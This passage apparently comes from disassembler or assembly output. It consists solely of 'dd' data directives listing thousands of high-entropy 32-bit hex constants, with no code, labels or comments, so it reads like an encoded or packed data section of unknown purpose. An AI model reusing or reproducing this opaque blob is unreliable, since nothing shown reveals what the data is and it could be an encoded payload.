0CD1797ECh, 0EAC3B959h, 91C9D049h, 7DD30535h, 1A782E9h dd 7F572F66h, 2CFB4802h, 62B6F9BFh, 36FCF229h, 0E17EFB59h dd 71FC2EAFh, 585A59F6h, 9FAB9E85h, 0A5B45F5Fh, 31644AA9h dd 5D81769h, 22D1BFCh, 0DAB09CC6h, 87442041h, 94A2C2h dd 9C3D9035h, 0E8AC075Eh, 39C8B82Ah, 364D3A68h, 1E655881h dd 0A3C12A4Ch, 3165989Eh, 0F74E16F4h, 18DEA3EBh, 884FEFE9h dd 0CAA28307h, 0CC017BC0h, 3CBB32C1h, 0BFF8DA29h, 0D70BDF40h dd 0B961C3DEh, 66D51298h, 39419C90h, 0EDAB16Fh, 8D284ABEh dd 6FB94193h, 0F2C7DAF0h, 0DED74844h, 9692EAD6h, 0F9CBAA30h dd 6B54F90Ch, 255842C1h, 683EDD14h, 0D0BFF58Ch, 772116FFh dd 0F3020B1Ch, 3FFABF49h, 38665614h, 66E25A36h, 0EA911263h dd 0A2058A00h, 29716259h, 2F577DF0h, 0A3A1058h, 7405F62h dd 12B7D122h, 0FB64DFB2h, 32977679h, 0C0095CAFh, 9285E45h dd 8CE3810Fh, 0C11FE47Eh, 4B360EEFh, 8E7F67BAh, 5B0658ECh dd 68510958h, 8B5A6531h, 4801AB40h, 1B0490CEh, 0B215DE66h dd 13E98341h, 61A84CD5h, 1430EB03h, 0A6E16D37h, 6CD02B25h dd 175159DCh, 30862B1h, 0C2E95001h, 2E5F433Bh, 899EAFCDh dd 0E24CADFEh, 689C02Fh, 3BB70753h, 33AAE780h, 0C7B194F7h dd 4FB34F9h, 36204031h, 0F0741F50h, 4EBFEED8h, 28A13997h dd 4DE90DEEh, 0FD3810AAh, 0E4208A7h, 0B9580BB0h, 0CC31C509h dd 73110F12h, 2956F05h, 5152F60Bh, 5C2EBE61h, 0E5DADF6h dd 7906E92h, 0D7946CF8h, 818A084h, 2F4FB91Ch, 2C5567BDh dd 12B16E08h, 0FA80F961h, 425E1F04h, 5EA9B907h, 648D2E79h dd 250C0578h, 71877A5Ah, 7E65C1F7h, 0EDD599BAh, 9BA22AF8h dd 5019FAD6h, 28FCB40Ah, 737EB5E3h, 4598336Fh, 0ACE85B30h dd 8BAEA5ACh, 3BE984C9h, 668F2D0h, 379B2F03h, 219067Ch dd 0F83E290Fh, 0CD89A132h, 0B9D73B22h, 89492D3Bh, 185FE7Dh dd 2765552Ch, 0EDD22A29h, 0AEEEC15Eh, 61819B2Fh, 0AF18E9C7h dd 3A574CADh, 2C1A5FF3h, 0D7222B75h, 16920A47h, 57EF3592h dd 6675552Bh, 849D94D8h, 0BC3F6768h, 44FDC1DAh, 36A429Ch dd 45086B74h, 0F0E5809Ch, 7661D461h, 0B17B0B0Ch, 0EB6860h dd 1E2BB6F2h, 0C15BDA09h, 6802E205h, 89F320F0h, 2F2AC701h dd 0AFC20956h, 37D1BBh, 6658E108h, 0C741B68h, 1B435C0h dd 9CB514E9h, 0CA5A535Ch, 6594A5A2h, 3D920105h, 4C68F264h dd 0FCA17E5Bh, 425F30ACh, 0C608A597h, 0AE128CA2h, 20539DDCh dd 35402E12h, 5AD01288h, 771EFC8Ah, 0E906DA94h, 9595454Fh dd 68617BF9h, 844D53A2h, 0DD54D941h, 4CEEE77Ah, 4BC34F0Ah dd 738776BDh, 0D4DF5C66h, 4506C300h, 0CB012E35h, 802BAA2h dd 0BB8A8959h, 44CF0263h, 607F7C76h, 0A0D00108h, 240305E1h dd 2FD656A1h, 6A488841h, 0AC94DA87h, 715BB7D2h, 0BFD1A5CDh dd 671A16h, 5AC0FD82h, 51E4C0BFh, 0E580E7B5h, 0C5FE371Dh dd 0AC9BF54Eh, 0BF680ACDh, 2CC832C8h, 0D10EDA5Ah, 0C9D80E70h dd 0E9BE015Bh, 548FE3CCh, 5278B7B5h, 0B60B52D1h, 86D6F61Ch dd 5C06D9E8h, 1649D2E9h, 5B53BE4Eh, 37889E5Fh, 0E92F2482h dd 956C1EF5h, 729DDC16h, 40294290h, 3612769Fh, 0DAD075BAh dd 17F5200Ah, 0B026E911h, 0C6C453AAh, 27AF98DAh, 30BBA43Fh dd 2C65B7C6h, 13A97220h, 523B98Eh, 0CBE5C14h, 0CF48A0BBh dd 1E38D00Eh, 0F3F7C02Ah, 13DA82E3h, 1F5FFB89h, 577F052Eh dd 4202F163h, 7CCAC317h, 0A7D8F161h, 0C9AB595Bh, 12421C7Dh dd 0B7710568h, 69B88EAAh, 0C11707D2h, 2D68171Ch, 0BCFC42D4h dd 601DE970h, 2DAD0AE2h, 0A3A6291h, 36C48B32h, 0D8E38641h dd 0E80883CEh, 489576E3h, 5285932h, 5F648207h, 0E90425CFh dd 0AAF492BBh, 70B7A046h, 97AF774Fh, 16764962h, 8AD7617Ah dd 2C58994Ch, 25A85452h, 0D72DC400h, 9095DF7Ah, 0C43A64BEh dd 64AAD03Bh, 70AFFB53h, 34EDE926h, 0FDEAB3C0h, 0B819A375h dd 84824A36h, 63CCFF38h, 6CC2BF6Ah, 2C408EF1h, 5EB5E936h dd 1E264C7Ch, 38BAA089h, 766B3C91h, 0F0FE5020h, 83C0D9B5h dd 90A3277h, 932303E9h, 0A9A88F5Bh, 70035ACBh, 143C75F2h dd 0CF1E4B5Ch, 0D11588h, 0FE0E482Dh, 0F05C011Ch, 25084240h dd 0A355945Eh, 0AB3CC98Dh, 4D99A32Eh, 7FD1026Ch, 0A52915A9h dd 0A4F0481h, 6CCB015Bh, 0F1E7F448h, 0C2E2F8F3h, 4CA704BDh dd 701C0507h, 0C5313560h, 0DB603EF8h, 8719C25Fh, 0C296E47h dd 7DFA6382h, 921148D7h, 5C1F202Ah, 7F4AF10Fh, 0A2F28F61h dd 0E18208D9h, 8A3AE6C2h, 856359B2h, 0DDFABEF7h, 3931EC57h dd 3121ECB5h, 451D624Eh, 79D12BCDh, 0A9070A34h, 3783415Dh dd 5AB97BF8h, 54FFD29h, 58850431h, 8CEE88E1h, 198A1C08h dd 0A167C422h, 138B325Ah, 67FF4294h, 67D3A25Dh, 8550F574h dd 0E58CBC94h, 771B4456h, 0DFF7053Eh, 16DA2BC0h, 86095F61h dd 5BFC175Ch, 0E25A7825h, 0D5CA77B6h, 1E13035Fh, 95EE4EABh dd 0CA81AA25h, 7360096Fh, 476E2DCDh, 819CF56h, 85F60409h dd 0C3815187h, 81045EF2h, 0E072D31Dh, 0A9BC292Ah, 0D028F600h dd 0F901508Dh, 0FCD2DD38h, 0F2E9F37Dh, 0B7526BB4h, 8820FFF9h dd 66D55C41h, 5A082507h, 0DEF4596Bh, 484591D5h, 1C70FA7h dd 704E4DDh, 0B3BA46C4h, 4C80965Fh, 4E796853h, 0D24CF854h dd 6B40A40Eh, 4186007Dh, 8381E6E9h, 0C0C4FEB8h, 0A06E430h dd 0E629EC80h, 0ECD47BCCh, 5E0CC207h, 447867E9h, 3952BF1Fh dd 0D2297249h, 21970B53h, 175E5385h, 0C2A008A0h, 8E17097Ch dd 0E7014B3Ch, 69955A1Eh, 24783424h, 0EB27B94h, 676C77ECh dd 66121F18h, 3E1434CDh, 854C760Bh, 58142071h, 7727265Ch dd 86CD04D6h, 5F8B8E3Fh, 0FB26B7F8h, 295A842Eh, 1617CBF7h dd 4201D701h, 4E05314Ch, 7F1F27Eh, 20246196h, 22D5F160h dd 0AA6D589Ah, 46607801h, 7FF9295Fh, 0CF2FBBCBh, 0CD02B6C2h dd 19C165AEh, 850328EEh, 0DAAE3C28h, 5BDC19C8h, 0C56B2912h dd 0AE0B853Eh, 5F584232h, 8CD69D78h, 279B55B8h, 7D5332F8h dd 0B23F82F1h, 0D51A8F07h dd 0D241DBCAh, 80BE0588h, 3209D671h, 4FB3B40h, 0E97F7A29h dd 0B5FAE099h, 5FB63117h, 84978E0Fh, 580BA21Fh, 7F7291FCh dd 0CDBC391Ch, 48116885h, 0E97130EBh, 12C0C521h, 0A743D8BFh dd 0DCBB3117h, 6DFB290Bh, 46567C6Ch, 0D2387B37h, 42314F82h dd 993AEC26h, 41C56F93h, 8DCA0757h, 76B3E90Eh, 7B56271Ch dd 451757Ah, 0B02E0C4Dh, 12CC12DFh, 9DFC485Eh, 838329D9h dd 0C2651674h, 4BB2006Ch, 0E95E4E87h, 0E180BDD0h, 6866097Ch dd 49643206h, 0C10E0F7Dh, 0AEE128B9h, 588ABFE9h, 249AE30h dd 7FBF9756h, 72A1D0E8h, 90967AA6h, 5DBA1A32h, 7C2DDB45h dd 8F1C7AC5h, 4F239B5Dh, 0BBB55DA8h, 0EBADA971h, 6DC04A02h dd 0E22E7586h, 3D024C54h, 56334443h, 0C7F75250h, 126CA6CEh dd 955A2E0h, 6E7C1h, 0D38BA3ABh, 0DE91314h, 640C585Ah dd 214AF3FEh, 1447CDA0h, 9505D65Eh, 4CD1E11h, 0AD1155BFh dd 40C78F82h, 0BF9C8D94h, 1027DD5Ah, 3B2A4886h, 0BD5580BEh dd 0A104FF09h, 0B9BF66Eh, 90D5D565h, 2F195E0Fh, 6AB65A7Fh dd 572DE912h, 4F38F4Bh, 0E2ABE7C4h, 719F187Fh, 80924129h dd 78000D48h, 0F720B661h, 176905D8h, 0B15EC0A9h, 80903F3Eh dd 58884E75h, 66645221h, 68AE8C54h, 98764B25h, 2539503Eh dd 0F0501EDAh, 4FE0B902h, 0D7315305h, 66E9C1C8h, 5F09352h dd 37076887h, 46E96A42h, 0FF59076Ah, 84B7B232h, 8E1431AFh dd 5A394072h, 3B355B5Ah, 8582A7BFh, 0D1AFF01Ch, 2AA37A38h dd 4B7AC4F6h, 0FE111715h, 0E7F69633h, 65660A0Eh, 23E00A13h dd 0A8CEA551h, 6FF50B23h, 0A6806D7Fh, 7CD63EAh, 6BE02D0Fh dd 54F474C7h, 9B0968D2h, 610E3E79h, 0FA497D6h, 4991CE9h dd 0EF292754h, 4C08C710h, 0F9A02D3Ah, 0C7288BFBh, 0D27090DDh dd 0EFF9C051h, 618D153Bh, 0D9033AB8h, 0E90EE264h, 0B2D14C33h dd 5407E103h, 0F7E13740h, 2DC06D2Dh, 5234C19Bh, 0A85EE826h dd 0E882B4F1h, 3C94578Eh, 0A294C604h, 0EB13E5FDh, 0E90937CEh dd 0AC5A01A3h, 30E45F1Fh, 1E0980E8h, 603FFD3Bh, 8B25F244h dd 7432E7E8h, 1555403Eh, 0D03E0473h, 0A9318430h, 18EAAA88h dd 0C733B3Fh, 2D286F49h, 809827Eh, 5014A45Dh, 0E7A5208Fh dd 0B185B601h, 5AF12890h, 0FE22A830h, 0C4B4DC5h, 5568F844h dd 37F8B9C8h, 68B897B1h, 73056852h, 5A306134h, 67023180h dd 4E31EADFh, 81A1B9CAh, 0FE375AF2h, 0F7619247h, 0E9C84668h dd 0B950400Eh, 5C2DC300h, 0D7C1811Eh, 6DF82E21h, 4EE0221h dd 9F7E030h, 0C31A006Ah, 4A7D35A7h, 263F524h, 60D75F08h dd 82A542E4h, 55DAA25Ch, 9926FD73h, 0CC4B42h, 108CCA81h dd 9259783Dh, 0AEB796A4h, 0F0B25201h, 3B90EA80h, 0A2DB96C2h dd 44D830CFh, 436813AAh, 8B3BE75Bh, 80ED7902h, 0E970C380h dd 16BFDCCFh, 0A9D4B734h, 5677A7C2h, 0D8C98EB0h, 683FB3E0h dd 0DFA84523h, 0C5BD08D1h, 0BD360935h, 0F80AEE5Fh, 81A654C0h dd 48E303F1h, 0CA21686Dh, 5ADD8FEAh, 4DC302BAh, 29256664h dd 8837B58h, 4E5D1C00h, 3DE97459h, 0C5BA569h, 0EB67F6CAh dd 1392E7Ah, 97CB3E59h, 0A34E305Ah, 9A4CE4F2h, 0C12F7E8Bh dd 3A5F5941h, 0FB5B95A6h, 0F5BBD829h, 115D4640h, 92C76C5h dd 4BC03DAEh, 9836642Dh, 336A0474h, 0AF4E5F1Dh, 5D98BD80h dd 91416E1h, 0CFE001F7h, 3F9205B4h, 32869E0h, 877A6751h dd 64F42D7h, 8D4078CDh, 50287201h, 26CBAA4Bh, 12971A38h dd 6D3BE11Fh, 60E9E091h, 0EF591C3h, 618947DFh, 8DF28FDh dd 5A41D42Dh, 377D5ADFh, 7B105359h, 3313E07Ch, 3D16D8EAh dd 81CCEC4Bh, 7F5A04B4h, 0AB5C0106h, 0C41E5A2h, 4C321E75h dd 116304D3h, 22DDAABDh, 5D9A6F55h, 6164C85Bh, 0BF03809Fh dd 7DA06A36h, 2436BA10h, 6F648EA2h, 0BC393205h, 71EAA2D1h dd 335749A3h, 0D852BA3Dh, 42C641E9h, 78E80548h, 316A32Dh dd 2E006719h, 18DC249Dh, 44E720E9h, 24EF8724h, 0BA022E10h dd 337A4C91h, 0B0AAC477h, 0C6C23FE4h, 0F10C4B7Ch, 84BE01B1h dd 2B5F4887h, 2972FB64h, 0CE0B5AC1h, 507CB800h, 352C280Dh dd 0A16B0B78h, 9E782800h, 29AC7409h, 13E5D7C5h, 0C4882D94h dd 0DDAFC029h, 62BAED27h, 0FCF7026Eh, 0DD6DD848h, 25509A11h dd 11A02B4Dh, 961A1D10h, 0AE38011h, 831D5753h, 0C3FE01F8h dd 0F3B61097h, 577C6E2Eh, 0B130D8C1h, 0FC368E42h, 18754C16h dd 635D1003h, 4AF9044Bh, 0BA807038h, 124D1BA1h, 87EEC158h dd 7BE371B1h, 0C8480EAh, 1297A17h, 66DEA0F3h, 5557801Ah dd 64D16804h, 4DC00CFDh, 145874F5h, 0E24D3F32h, 79084405h dd 1244FF25h, 8A0AF1C9h, 7E561EA6h, 16111DDAh, 0D00BFED0h dd 731C82EFh, 3B8009AFh, 0E010FEEh, 905C465Ch, 6EF05008h dd 2AC5A12h, 8E8615AEh, 70CBBEB5h, 941F3048h, 21F5765h dd 0F43F9896h, 0DC037676h, 0E36266Dh, 345C7EC8h, 0AFC7E9E5h dd 5519B844h, 0FAD8B549h, 50EE519Fh, 0C269A8E9h, 6D07F540h dd 0B21A92FDh, 77D98802h, 62CEEF87h, 905D5AF7h, 0B5C0AC05h dd 560268F1h, 0C6678568h, 5A5E2D6Dh, 0CADC9B99h, 37F10C48h dd 19763517h, 1D1A9CE0h, 4CED302Bh, 0BD24E2F9h, 0CF440E09h dd 7E5575Dh, 6678601h, 70E2E925h, 90B9067Ch, 5E1D4136h dd 0F83D7F0Bh, 33447F7Eh, 6EDC0C95h, 39203067h, 0E3DBC15Ah dd 3164330Ah, 5996D3C8h, 41079DC5h, 47E57D43h, 7885D0FEh dd 1E406C7Bh, 4BFD7CCCh, 50BDB0E7h, 69FFF9BFh, 80A23E57h dd 25685304h, 5DE62E10h, 30012BE3h, 264E07B9h, 6CD91931h dd 0F2775D02h, 2047B054h, 0B91DE1ECh, 64D36245h, 8A8F04BAh dd 0C409E8D0h, 15B21E23h, 27ED9986h, 0FDFB6195h, 8AE2A37Fh dd 0AE00A850h, 0B83F6310h, 0B00BD3B2h, 38961437h, 64570507h dd 8A219F7h, 17BF00D9h, 7160301Ah, 5B72587Ah, 0E5681578h dd 3381EC5Ch, 7A87D6CDh, 4858C586h, 0AC16C85Fh, 0D98DEEC8h dd 0EBAD903Ah, 34F77088h, 96F4734Ch, 0D3013704h, 0D9E8FCE9h dd 0ED93CD4Bh, 0FA176A12h, 0BB20FEF8h, 6612DC9Dh, 5AA16711h dd 25AA2879h, 0B949250h, 0A7D77E83h, 0A92019DAh, 7C53F892h dd 12070952h, 15800C57h, 0C463CCF2h, 8B0A2058h, 3DA55E06h dd 0F47CAE16h, 0C500F36Ah, 52409160h, 96DD82E9h, 73A8017h dd 0D4350238h, 74967101h, 412DE105h, 4AF5E9F0h, 631AAABh dd 65730902h, 0D9E9540Bh, 66AC8D21h, 0E94AED68h, 0DA413F56h dd 4D463AE3h, 82162FE8h, 90E54355h, 1CB151FAh, 97D9F6A9h dd 0B906BAD1h, 67061BE9h, 83382492h, 4D05E62Ah, 3F9501BFh dd 0BBEE8BC1h, 2ADC0FAFh, 90C1AF3Eh, 5BDEE9E1h, 1290F3ABh dd 75FB035Ah, 728AF68h, 0E9B849B9h, 0CC5C804Bh, 50BD2A49h dd 0A5599CF3h, 363B8843h, 6D571843h, 493B680Ch, 20107B63h dd 0F6800EE6h, 0B9EE6027h, 0F35AF528h, 5A207ECCh, 3823F6ECh dd 2D44D238h, 45704295h, 0FE6884EBh, 0A28EEE05h, 0FB12CF27h dd 6C1F3240h, 0E9460A05h, 0CBBED031h, 0FD9741D2h, 0C8D9CADDh dd 0A5B95317h, 1A5DEB86h, 8997E927h, 0A7369793h, 281D0561h dd 0B00AA1A9h, 1ABB355h, 5356B1F1h, 0FA3D6072h, 6C0D1402h dd 76ED98E9h, 9E8F8B6Bh, 873099D7h, 0C6EE20E2h, 787B2032h dd 215AA49h, 455489BAh, 1EE4DF3Ah, 421310Ah, 848ED7Ah dd 17091C34h, 8CBA085Ah, 34C9F6AEh, 0E859BDB7h, 9EEEDF6Bh dd 97B2E926h, 80EB298Bh dd 0E42CFC64h, 0C2FEC018h, 5D6C164Eh, 75E95309h, 9D147FACh dd 0FF90F095h, 0DD34BBF9h, 0D9255C52h, 164FB14Ch, 8B92BB01h dd 4845DD14h, 0F475AFA0h, 68180806h, 4C0A3D2Ch, 5800035Fh dd 402FE712h, 0C231A02Dh, 0EDE26E29h, 0D604AB04h, 87059CDCh dd 0FD0BFEDDh, 401BD791h, 98F50CE2h, 50069C24h, 5EB2F8FDh dd 2F0D4007h, 5268866Ah, 5E62F0B7h, 0EA1016AEh, 9D977061h dd 1DC65B92h, 0BD4116FDh, 4D3B2083h, 5F79AC80h, 0B464C274h dd 2FDF1B41h, 0F7BE5600h, 904CB81Dh, 617B1212h, 0C6E400B3h dd 0CFC6EFDh, 0EA00BBB0h, 0D13A7919h, 4EB1E9EEh, 0E3144386h dd 9AA5444h, 4808BED1h, 27BA177Bh, 0B785A2C2h, 0F725FA64h dd 44F25B3h, 1E216C7h, 0CBA2FEDDh, 0F688B776h, 5BFA2D1Ah dd 0C21FCD50h, 84D2DB1Ch, 2BD789C9h, 283FE4Bh, 26F754ADh dd 9760BB07h, 5AD6E922h, 413A4415h, 922C1DE2h, 5F253C10h dd 295F1370h, 17CBBA95h, 73D302D2h, 0A8F5529Fh, 1F24082Bh dd 0A84C962h, 67680BD4h, 8D4C185Dh, 2BC0828Eh, 0E7BE5B17h dd 33FF5A97h, 70483301h, 22772F17h, 0D712EFD6h, 9FCDB9Ch dd 8BF11064h, 205389BAh, 1D129D79h, 1C423888h, 23D46E9h dd 0BB76EE29h, 29415851h, 672F0189h, 600BA280h, 1EB2580Ch dd 0CA1A5847h, 1677B10Fh, 539DEEF8h, 7B07E16Ah, 41298FDCh dd 3BF513FAh, 15DD0BAFh, 0C3300294h, 89FF3CE9h, 16411EE1h dd 44A89FE9h, 0BC43220Dh, 557F1C7h, 9B250BBBh, 3667905Dh dd 78C2E1A1h, 58D4BE0Dh, 66025C2Dh, 0D80120EAh, 62078A05h dd 5DCB2810h, 60975A46h, 0FBF4AECh, 0F1D5B851h, 4CD60289h dd 24192502h, 0E74EC098h, 0ED81A8BEh, 41B71A9h, 0D7685A2Eh dd 2937AA70h, 4D122FA5h, 0F82D96D0h, 6754341Ah, 8507149Bh dd 2C813014h, 4BF7A63Dh, 30A497D3h, 60AA7FE9h, 9E5260B8h dd 5EF20BD8h, 2CEC039Ah, 0E23F0E29h, 208967C5h, 6082007Eh dd 429D5AB4h, 0E092C1CFh, 0F7877262h, 0B088D4E1h, 0F5AB77Eh dd 62CE90A5h, 0DD624AACh, 0F9BF91E5h, 5D0245BCh, 9B5A6F68h dd 12EEC782h, 929DF5F3h, 0D758ABE9h, 270BAE0Ch, 0DEA83609h dd 12732408h, 6389ABD1h, 0BA9AE0E4h, 7E6B0FB1h, 0AF492690h dd 0D52F3DD4h, 0C07F3C32h, 88434B58h, 0B88009FDh, 6B251EBFh dd 4B6A9749h, 0C582ADF5h, 5104D9D5h, 4AE33683h, 3C31F60Ch dd 5F804ADDh, 4AEF4B87h, 7BA1032h, 0CCCB805Eh, 0D9A20379h dd 3645AE09h, 0D5698F1Ah, 957D9487h, 5CD4073h, 31110B20h dd 0E5462B7h, 4AD6A007h, 15D7F8Dh, 197C3705h, 0F6F00117h dd 400DE013h, 0F790BFFDh, 729E413Dh, 9D386350h, 0BA93B8D9h dd 702F13B1h, 0B12F9C6Fh, 4F295F32h, 13BE7C91h, 11C9B659h dd 0EA5F0A5Dh, 18757D75h, 660649EAh, 34CF7B03h, 22927905h dd 64B929C7h, 3E12F580h, 0D99758FCh, 46D30166h, 65567AABh dd 75C56BCBh, 41AEACC4h, 7E6CF364h, 29F02E5Fh, 824101EFh dd 0E9C62967h, 0E6B56BBCh, 6C9620h, 0B90B3235h, 52864FE5h dd 5CF13127h, 0C8E7C2A9h, 8140FA55h, 0B9005297h, 0AD4F11C9h dd 9759E08h, 0C701h, 57F874CDh, 679402FAh, 0DB3A8D26h dd 2D6B9BF1h, 398B2ADBh, 20EEDC13h, 77151223h, 83264095h dd 10BE1D57h, 1ED87B4Bh, 90A3B916h, 0B44A75F9h, 0D5294813h dd 0C082810h, 27DA42E9h, 6947BC7h, 0E7C13E3Ah, 34091202h dd 7FA18674h, 9BD15187h, 42FE32F7h, 8E667553h, 3E9E019Dh dd 567059ABh, 9D612DEFh, 330FE2FCh, 1B2C0A0h, 6069E9F1h dd 0E0F279B9h, 1A1F4597h, 149D089h, 5D8412B7h, 0FCABBD23h dd 0D5F61409h, 69CB0E66h, 0E5B6D7E6h, 0B94FEE90h, 85C62BD7h dd 0B1EF62Fh, 1326465h, 0F273787Eh, 98096AD6h, 4B50C8F1h dd 8107B059h, 2D1D1313h, 80CD18EAh, 0C84882FEh, 0E6135E39h dd 85EECABBh, 0A6F330EFh, 46094C25h, 2D4F477Dh, 0F961CBA4h dd 986518DFh, 3F72B032h, 0FA12D30Ch, 4D9E4648h, 29202715h dd 0C5B4CB6h, 780E5C48h, 2DFED226h, 0D6716DDh, 88344D6h dd 0A666609Bh, 41F5C55Ah, 0A1C5A86Fh, 0F7C739Ah, 4313D3C0h dd 0EF24C112h, 7025502h, 571BF811h, 4719498Ch, 0D4AC409Fh dd 0E9071C87h, 8E68A775h, 0E1253331h, 0C6200F2Ch, 5A82E52Fh dd 2ABAF0B1h, 145B6440h, 0A3284F88h, 8B898786h, 0EA2DE577h dd 0EE11F5C6h, 0F8E7A761h, 0EDC12D56h, 0ACD98255h, 58B3EB51h dd 0CD16F84Bh, 7A3FE4D4h, 1CA15709h, 66DAB85Bh, 8012B75Eh dd 0BBF5FA84h, 3206B4F2h, 0D42B7A76h, 46A2718h, 304CCAF6h dd 0C24EF428h, 38334687h, 0F8190C36h, 92299212h, 0B4C9012Eh dd 0F77B2B5Bh, 0E77630D9h, 0D79DC104h, 0B281CB31h, 0A8C3C5EBh dd 0B7DA0152h, 0B0DD329Ah, 55E9FADFh, 0A43ED4D4h, 23275F57h dd 97125F61h, 45F616DDh, 972A60B1h, 0AD13FE97h, 9DB7365Dh dd 65C0ABDEh, 39157E12h, 13056852h, 0FB5A57AFh, 770B36A0h dd 0ED20F751h, 535940D7h, 0EDF2545Bh, 0A1B850C7h, 6A10B07Dh dd 5EF7D8A0h, 46850BDEh, 0D50A9E50h, 90F10B07h, 9A11E602h dd 7EA555Dh, 0B6D080Ah, 954BB10h, 76ADB24Ah, 0C874E939h dd 655A4EC0h, 0BCD9C40h, 0EF76F701h, 0EC7E1A59h, 94D3C564h dd 7BE37DFEh, 7BAB5644h, 9072E902h, 3EC3ACA3h, 945BA8F9h dd 2708EBC7h, 38FD7E5Eh, 39681774h, 0CE8C3126h, 0AFB83AC2h dd 0FFF4AFA3h, 0E66E49CDh, 0CA8C9613h, 0EA5E32E9h, 65F9EE51h dd 1309E601h, 0BD442C12h, 57A96BC1h, 8740D347h, 8201D89Fh dd 5D4A9540h, 42F30878h, 88FC1CEh, 0D52C8CA5h, 86DCFED8h dd 30F541B5h, 0FB0B35E4h, 222AF060h, 7D39E3DDh, 4C0F0D18h dd 0F006552Fh, 2EE92768h, 53E14F68h, 0EF004FB0h, 0BB1AF43Ch dd 4A0BC315h, 2CA3A9E5h, 0E10815D9h, 0A2680425h, 0E731FF35h dd 5903E2F5h, 2E169BB1h, 0BE25DBA6h, 0DA922D74h, 31078A01h dd 0BF05190Dh, 5F676255h, 0FB4F5D9Ah, 9F208529h, 0E2460409h dd 0A8F9E96Eh, 2C583B7Dh, 7FAD7070h, 0BA5D5684h, 4E7878A2h dd 51A503A8h, 0CE90F988h, 0BB246859h, 5E6B4D24h, 58C5061Fh dd 0E9169F5Ah, 3BF68A07h, 69CC2C7Ah, 0C6E06CF3h, 4426C25h dd 54BAC375h, 0F44A4D65h, 8226E971h, 80A4C0DEh, 0CF4C0A00h dd 0AE28125h, 380923CBh, 5611038Fh, 560F10D8h, 0A56D7AD5h dd 60B896E9h, 8AEC800Fh, 0ABE64E05h, 962761A3h, 0EE594305h dd 798584E6h, 0DC0EB521h, 0D9BDF843h, 2B688E22h, 0E7782B58h dd 2DB2DC82h, 0A08994F5h, 0BD487FB1h, 9273DFDEh, 0CA290294h dd 4794BE1h, 54A346F0h, 2468F26Dh, 625B07D2h, 0D287DA88h dd 0A8CC54D1h, 68B65F89h, 0E5E5076Fh, 28798258h, 0E905C8FBh dd 0B540D07Eh, 0C38029B3h, 8A6197A7h, 2F2231F3h, 88D09791h dd 0D9F9F5C2h, 0D459CB4Fh, 0EAD62F2Eh, 1DE91454h, 0B6050EE1h dd 8013FE16h, 0A15273A5h, 1E1644Fh, 382EA339h, 96F740F6h dd 3C2FF415h, 5E6C6401h, 0EB6E162Bh, 0FA4FD88Fh, 0B15C2328h dd 9BCA09ECh, 0D81D9877h, 2F828293h, 1F427163h, 7F26C05Fh dd 0BAAD25CFh, 0A0CD7068h, 0C16CB89Fh, 0C906B658h, 68851E74h dd 0A4051747h, 24AFE8DCh, 19D5FE97h, 55EB8501h, 30830A9Ch dd 0F3040B8h, 4E6AE7E0h, 512F0413h, 77158D01h, 917A133Fh dd 7EAB1C03h, 0EF937DB3h, 4BE9C130h, 30D9BFE3h, 79B89E44h dd 6C21BE5Ah, 0CA62EB3Ah, 787DA905h, 88D4EF2Eh, 2BBC0816h dd 6A05EAB0h, 0B472D624h dd 3AD4F344h, 0D83B4B70h, 0EEDEC10Ah, 3E06B02Bh, 0C7323ACh dd 586B604Fh, 2F13D80Ch, 44FBA797h, 9CB7D0Eh, 240D621h dd 12E82338h, 9565E055h, 0EF2D80E4h, 1509211Eh, 463C5889h dd 64830F31h, 0D9AB4F44h, 0FB5EF9A5h, 0D0C1AB83h, 54FB6806h dd 5E588F61h, 5EFBF295h, 6B5A01FAh, 2CD2AA8Fh, 1DEE5F47h dd 92D6ED96h, 0E609F6C8h, 71ADA2Dh, 0B51B5AE5h, 0BEED603Eh dd 2661A027h, 3541E0Ch, 0A5A0C0BAh, 8C93DE97h, 0B112EA1Fh dd 798DF70h, 1775C020h, 1357565Fh, 0F350B47Ah, 0E1F8B40Bh dd 68D38114h, 716673D8h, 1272BE4Ah, 0D2AD85F4h, 280FB6F8h dd 0D90B1CE2h, 2C08B008h, 94172626h, 0BD17FA80h, 10D9F38Ah dd 680BC081h, 101A1D9Ah, 53B4C1DDh, 8DD6D3CDh, 4BA0BCD7h dd 0FCCC2F6Fh, 424F8072h, 18F52AFh, 0F25036FAh, 0E8E2EC66h dd 0F75B16CBh, 730342E5h, 2F625947h, 2CD45160h, 5EF07847h dd 4E875865h, 2F77AA14h, 0F34478B5h, 5A0BD590h, 0C6BE80DDh dd 1D773528h, 532921BBh, 2804BBBDh, 1E137CC8h, 0A399D7E3h dd 5651256Ch, 0D5686115h, 92E36B1Ch, 7FFCF192h, 70842Dh dd 9AF84875h, 0A2C817A4h, 0E59C1757h, 0EFC0C8FDh, 7DD744E2h dd 0F74E44B8h, 0F93520FBh, 75489128h, 0EF83B1DAh, 0D3E3EC6Fh dd 7DE5501Dh, 6E5FBA99h, 4E7395A9h, 0DA3E313Ah, 49287ECAh dd 0D927D0E6h, 0F5EFEE07h, 8705B03Bh, 5E518F7Eh, 2ED149F0h dd 0FD563E82h, 8474A342h, 0B37F1EBh, 99C6A407h, 8DBC367Ah dd 778CA862h, 0C5B49C18h, 58E12805h, 5809CB88h, 63822F1Eh dd 84BAF280h, 939B6BAh, 96A6E99Dh, 0D62D0C5Ch, 89E0A21Ah dd 32FFA54Bh, 0CE605292h, 5F482334h, 1F85041Ah, 9AE0E5Eh dd 29AFCEA6h, 59832DC0h, 0FEEA2510h, 57C83117h, 74192A8h dd 12138E04h, 73E0F287h, 2E76D835h, 0EB515Dh, 62BD131Fh dd 0FE4067E9h, 54270B2Dh, 0EF850DD8h, 0E528EE91h, 0B1BD5483h dd 902B0CBh, 4E7E18C0h, 123DC6F7h, 0AAC8BF0Fh, 35E98AC8h dd 84EFA777h, 3B3AA06h, 0E9092548h, 0F1DA6D3Fh, 28EC0820h dd 90B2CAFEh, 0DCF42084h, 2D40D8B7h, 0F2E8BA09h, 557B66C5h dd 0CD7F4376h, 19A05113h, 280A8B01h, 877B1FB5h, 0C30B2243h dd 0C232D5CCh, 0D3D1F4h, 37AC292Dh, 69EA89Ch, 8C2651E7h dd 0DD8572F6h, 21455B5Fh, 77BEA571h, 7AF9B221h, 182DB54h dd 70408E05h, 88E100A3h, 0E90F992Dh, 27CF50B0h, 800E9E89h dd 8EAB164Ah, 13A65AC4h, 0EB5AD716h, 99314ADDh, 9B87864h dd 4D7E4C76h, 0DC43107Fh, 1F1C4A44h, 63724477h, 0FA1AB123h dd 91C088Dh, 5B230214h, 1C25171h, 2885C1F2h, 0F011EB26h dd 68CF021Bh, 0E1293F35h, 0BFD86EC1h, 